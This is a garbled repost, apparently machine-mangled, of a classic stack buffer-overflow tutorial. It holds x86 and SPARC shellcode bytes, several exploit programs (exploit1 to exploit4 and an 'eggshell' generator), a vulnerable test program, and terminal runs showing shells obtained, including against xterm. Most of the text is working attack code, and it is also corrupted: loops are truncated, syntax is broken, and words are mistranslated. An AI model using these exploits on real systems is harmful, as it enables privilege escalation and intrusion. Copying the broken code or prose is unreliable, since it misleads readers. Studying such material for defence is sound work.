"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc2 Testsc2.c

[aleph1] $ ./testsc2

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

Writing an expedition

~~~~~~~~~~~~~~~~~~

(or how to mong the stack)

~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets try to pull all our pieces together. We have the shellcode. We know

IT Must Be Part of The String Which We'll Use to overflow The Buffer. Weknow We Must Point The Return Address Back Into The Buffer. This Example Will

DemonStrate Thase Points:

OVERFLOW1.C

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Char large_string [128];

Void main () {

Char buffer [96];

INT I;

Long * long_ptr = (long *) Large_String;

For (i = 0; i <32; i )

* (long_ptr i) = (int) BUFFER;

For (i = 0; i

Large_string [i] = shellcode [i];

STRCPY (Buffer, Large_String);

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

$ EXIT

Exit

[aleph1] $

-------------------------------------------------- ----------------------------

What We Have Done Above Is Filled The Array Large_String [] with the

Address of buffer [], Which is where ou cut will be. The WE COPY OUR

Shellcode Into The Beginning Of The Large_String String. Strcpy () Will Then

Copy Large_String Onto Buffer without doing any borsnds checking, and will

Overflow the return address, Overwriting It with the address where ouout. IT WITH THE ITW

Is Now Located. Once We Reach The end of main and it tried to return it

Jumps to ou Code, And Execs a shell.

THE PROBLEM WE Are Faced WHEN Trying to overflow the buffer of another

PROGRAM ISTING TO Figure OUT AT What Address The Buffer Will Be. The answer is this for Every Program THE STACK WILL

Start at The Same Address. Most Programs Do Not Push More Than Few Hundred

OR a few thousand bytes Into The Stack at Any One Time. Therefore by knowing

WHERE THE STACK Starts We can try to guess where the buffer we are trying to

Overflow Will Be. Here Is A Little Program That Will Print ITS Stack

Pointer:

Sp.c

-------------------------------------------------- ----------------------------

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main () {

Printf ("0x% x / n", get_sp ());

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[aleph1] $ ./sp

0x8000470

[aleph1] $

-------------------------------------------------- ----------------------------

Lets Assume this Is The Program We are trying to overflow is:

Vulnerable.c

-------------------------------------------------- ----------------------------

Void Main (int Argc, char * argv []) {

Char buffer [512];

IF (Argc> 1)

STRCPY (Buffer, Argv [1]);

}

-------------------------------------------------- ----------------------------

WE CAN CREATE A Program That Takes As A Parameter A Buffer Size, And An

Offset from its Own Stack Pointer (Where We Believe The Buffer Want To

Overflow May Live). We'll Put The overflow string in an environment variable

SO it is easy to manipulate:

Exploit2.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = 4;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Now We can try to guess what the buffer and offset shouth be:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit2 500

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

Illegal instruction

[ALEPH1] $ EXIT

[aleph1] $ ./exploit2 600 100

Using address: 0xBffffd4c

[ALEPH1] $ ./vulnerable $ EGG

Segmentation Fault

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600 200

USING Address: 0xBfffffCe8

[ALEPH1] $ ./vulnerable $ Eggsegmentation Fault

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit2 600 1564

USING Address: 0xBfffff794

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

AS we can see this is not an effect process. Trying to guess

Offset Even While Knowing Where The Beginning Of The Stack Lives Is Nearly

Impossible. We would need at best a hundred Tries, And at Worst a couple

THOUSAND. THE PROBLEM IS WE NEED TO GUESS * EXACTLY * Where The Address of Our

Code Will Start. if we are off by one byte more or less we williel just get a

Segmentation Violation or a invalid instruction. One Way to Increase Our

Changes is to pad The Front of Our Overflow Buffer with NOP Instructions.

Almost All Processors Have A NOP INSTRUCTION That Performs A Null Operation.

IT is usually used to delay execution for purposes of time. We will take

Advantage of It and Fill Half of Our Overflow Buffer with Them. We Will Place

Our shellcode at the center, and then follow it with the return addresses. if

We are lucky and the return address points anywhere in The String of Nops,

THEY WILL JUST GET EXECUTED Until The Reach Our Code. in The Intel

Architecture the NOP instruction is one byte long and it translates to 0x90

In Machine Code. Assuming The Stack Starts At Address 0xFF, That S Stands for

Shell Code, And Thatn N Stands for a NOP Instruction The New Stack Would Look

LIKE THIS:

Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF

Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY

Buffer SFP RET A B C

<------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE]

^ || _____________________ |

Top of bottom of

Stack Stack

The New Exploits Is Then:

Exploit3.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

For (i = 0; i

BUFF [I] = NOP;

PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2);

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

A good selection for out 100 bytes more Than The sizeof the buffer we are trying to overflow. This will place ur code at the end

Of the buffer we are trying to overflow, giving a lot of space for the nops,

But Still Overwriting The Return Address with The Address We guest. The

Buffer we are trying to overflow is 512 bytes long, so we'll use 612. let's

Try to overflow Our test program with our new expedition:

-------------------------------------------------- ----------------------------

[aleph1] $ ./exploit3 612

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

WHOA! First Try! This change has improwd.

Let's try it now on a real case of a bufferflow. We'll Use for Our

Demonstration The Buffer Overflow on The Xt Library. for Our EXAMPLE, WE'LL

Use xterm (all programs linked with the xt library is vulnerable). You must

Be Running An X Server and Allow Connections to It from The LocalHost. Set

Your Display Variable Accordingly.

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit3 1124

Using address: 0xBffffdb4

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "랱? FF

? 1? ؀? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????

??????????????????????????????????????????? ????? c

[ALEPH1] $ EXIT

[aleph1] $ ./exploit3 2148 100

Using address: 0xBffffd48

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "랱? FF

? 1? ؀? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????

??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lostillegal Instruction

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit4 2148 600

Using address: 0xBffffb54

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "랱? FF

? 1? ؀? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????

??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lost

Bash $

-------------------------------------------------- ----------------------------

Eureka! Less Than A Dozen Tries and We Found the Magic NumBers. If xterm

WHERE Installed Suid Root This Would Now Be a root shell.

Small bufferflows

~~~~~~~~~~~~~~~~~~~~~~

There Will Be Times When the Buffer you are trying to overflow is so

Small That Either The shellcode Wont Fit Into It, And It Will Overwrite The

Return Address with instructions instead of the address of out, or the

Number of nops you can pad the front of the string with is so small what

Chances of guessing their address is minuscule. To Obtain a shell from these

Programs we will have to Go About it Another Way. This Particular Approach

Only Works WHEN You Have Access To The Program's Environment Variables.

What We Will Do Is Place Our Shellcode in An Environment Variable, And

Then overflow the buffer with the address of this variable in membory. this

Method Also Increases Your Changes of The Exploit Working As You Can Make

The Environment Variable Holding The Shell Code as large as you.

The Environment Variables Are Stored in The Top of the Stack WHEN THE

Program is started, any model by setnv () area allocate

Elsewhere. The Stack at The Beginning Then Looks Like this: Null NULL

Our New Program Will Take An Extra Variable, The Size of The Variable

Containing the shellcode and nops. Our New Exploit Now Looks Like this:

Exploit4.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * ptr, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, Eggsize = Default_EGG_SIZE;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (Argc> 3) Eggsize = ATOI (Argv [3]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = Get_ESP () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; I

* (PTR ) = NOP;

For (i = 0; i

BUF [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BUFF, "RET =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Lets Try Our New Exploit with Our Vulnerable Test Program:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit4 768

USING Address: 0xBfffFDB0

[ALEPH1] $ ./vulnerable $ RET

$

-------------------------------------------------- ----------------------------

Works like a charm. Now Lets Try IT on xterm:

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit4 2148

USING Address: 0xBfffFDB0

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent

Warning: Color Name

??????????????????????????????????????????? ????

??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lost

$

-------------------------------------------------- ----------------------------

On The First Try! It has certinly increased outds. Depending how

Much Environment Data The Exploit Program Has Compared with the program

You are trying to expedition the guessed address may be to low ore.

Experiment Both with Positive and NEGATIVE OFFSETS.

Finding bufferflows

~~~~~~~~~~~~~~~~~~~~

AS Stated Earlier, Buffer overflows Are The Result of Stuffing More

Information Into A Buffer Than IT IS Meant To Hold. Since C Does Not Have Any

Built-in Bounds CHECKING, OVERFLOWTEN MANIFEST THEMSELVES AS WRITING PASTTHE END OF A Character Array. The Standard C Library Provides a Number of

Functions for Copying OR Appending Strings, That Perform No Boundary Checking.

Include: strcat (), strcpy (), sprintf (), and vSprintf (). Thase functions

Operate on null-terminated strings, and do not check for overflow of the

Receiving string. gets () is a function tria reads a line from stdin int

A Buffer Until Either a Terminating Newline or EOF. IT Performs No Checks for

Buffer overflows. The scanf () Family of Functions Can Also Be a Problem IF

You area matching a sequence of non-white-space character characters (% s), or matching a

Non-Empty Sequence of Characters from a specified set (% []), and the array

Pointed to by the char Pointer, is not large enough to accept the whole

Sequence of Characters, and you have not defined The Optional Maximum Field

Width. if The target of any of these functions is a buffer of static size,

AND ITHER ARGUMENT WAS SOMEHOW DERIVED from User Input There is a good

POSILITY THAT You Might Be Able To Exploit a Buffer Overflow.

Another Usual Programming Construct We Find Is The Use of A While Loop To

READ One Character At a Time Into A Buffer from Stdin or Some File Until The

End of line, End of file, or some other delimiter is reached. this type of

Construct Usally Uses One of these Functions: Getc (), Fgetc (), or getchar ().

If there is no expedit checks for overflows in the while loop, Such Programs

Are Easily ExploITED.

To conclude, grep (1) is your friend. The Sources for Free Operating

Systems and their utilities is ready available. this Fact Becomes Quite

..

Appendix A - Shellcode for Different Operating Systems / Architectures

~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~

i386 / linux

-------------------------------------------------- ----------------------------

JMP 0x1f

POPL% ESI

MOVL% ESI, 0x8 (% ESI)

XORL% EAX,% EAX

MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xC (% ESI)

MOVB $ 0XB,% Al

MOVL% ESI,% EBX

LEAL 0x8 (% ESI),% ECX

LEAL 0xC (% ESI),% EDX

INT $ 0x80

XORL% EBX,% EBX

MOVL% EBX,% EAX

INC% EAX

INT $ 0x80

Call -0x24

.String / "/ bin / sh /"

-------------------------------------------------- ----------------------------

Sparc / Solaris

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

TA 8

XOR% O7,% O7,% O0

MOV 1,% G1

TA 8

-------------------------------------------------- ----------------------------

SPARC / SunOS

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

MOV -0x1,% L5

TA% L5 1

XOR% O7,% O7,% O0

MOV 1,% G1

TA% L5 1

-------------------------------------------------- ---------------------------- Appendix B - Generic BuffRAM

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h

-------------------------------------------------- ----------------------------

#if Defined (__ i386__) && defined (__ linux__)

#define NOP_SIZE 1

Char NOP [] = "/ x90";

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

#ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08"

"/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08";

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ELIF Defined (__ sparc__) && defined (__ sun__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ xdc / x23 / xbf / xf8 / xc0 / x23 / xbf / xfc / x82 / x10 / x20 / x3b / xaa / x10 / x3f / XFF"

"/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01"

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ENDIF

-------------------------------------------------- ---------------------------- Eggshell.c

-------------------------------------------------- ----------------------------

/ *

* Eggshell v1.0

*

* Aleph one / aleph1@underround.org

* /

#include

#include

#include "shellcode.h"

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

Void Usage (Void);

Void Main (int Argc, char * argv []) {

Char * PTR, * BOF, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE

While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF

Switch (c) {

Case 'a':

Align = ATOI (OPTARG);

Break;

Case 'b':

Bsize = atoi (OPTARG);

Break;

Case 'E':

Eggsize = atoi (OPTARG);

Break;

Case 'o':

OFFSET = ATOI (OPTARG);

Break;

Case '?':

USAGE ();

exit (0);

}

IF (Strlen (shellcode> eggsize) {

Printf ("shellcode is larger the the egg./N");

exit (0);

}

IF (! (bof = malloc (bsize)))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N",

Bsize, Eggsize, Align;

Printf ("[Address: / T0x% X / Toffset: / T / T% D / T / T / T / T / T%);

Addr_ptr = (long *) BOF;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n

M = (N align)% NOP_SIZE;

* (PTR ) = NOP [M];

}

For (i = 0; i

* (PTR ) = shellcode [i];

Bof [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BOF, "BOF =", 4);

Putenv (BOF);

SYSTEM ("/ bin / sh");

}

Void usage (void) {

(void) FPRINTF (stderr,

"USAGE: Eggshell [-A ] [-E ] [-o ] / N");

}

-------------------------------------------------- ----------------------------

转载请注明原文地址:https://www.9cbs.com/read-82797.html

New Post(0)